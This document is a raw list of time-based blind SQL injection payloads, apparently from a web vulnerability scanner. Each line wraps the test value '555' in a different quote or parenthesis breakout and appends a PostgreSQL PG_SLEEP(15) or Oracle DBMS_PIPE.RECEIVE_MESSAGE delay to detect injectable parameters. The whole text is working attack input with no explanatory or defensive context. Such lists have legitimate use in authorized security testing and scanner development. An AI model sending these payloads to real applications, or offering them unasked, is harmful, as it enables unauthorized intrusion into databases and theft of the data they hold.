555-1 OR 826=(SELECT 826 FROM PG_SLEEP(15))--

555-1) OR 932=(SELECT 932 FROM PG_SLEEP(15))--

555-1)) OR 807=(SELECT 807 FROM PG_SLEEP(15))--

555v2H8DC2K' OR 922=(SELECT 922 FROM PG_SLEEP(15))--

555xYd2Ymyn') OR 345=(SELECT 345 FROM PG_SLEEP(15))--

555547mQwCP')) OR 19=(SELECT 19 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555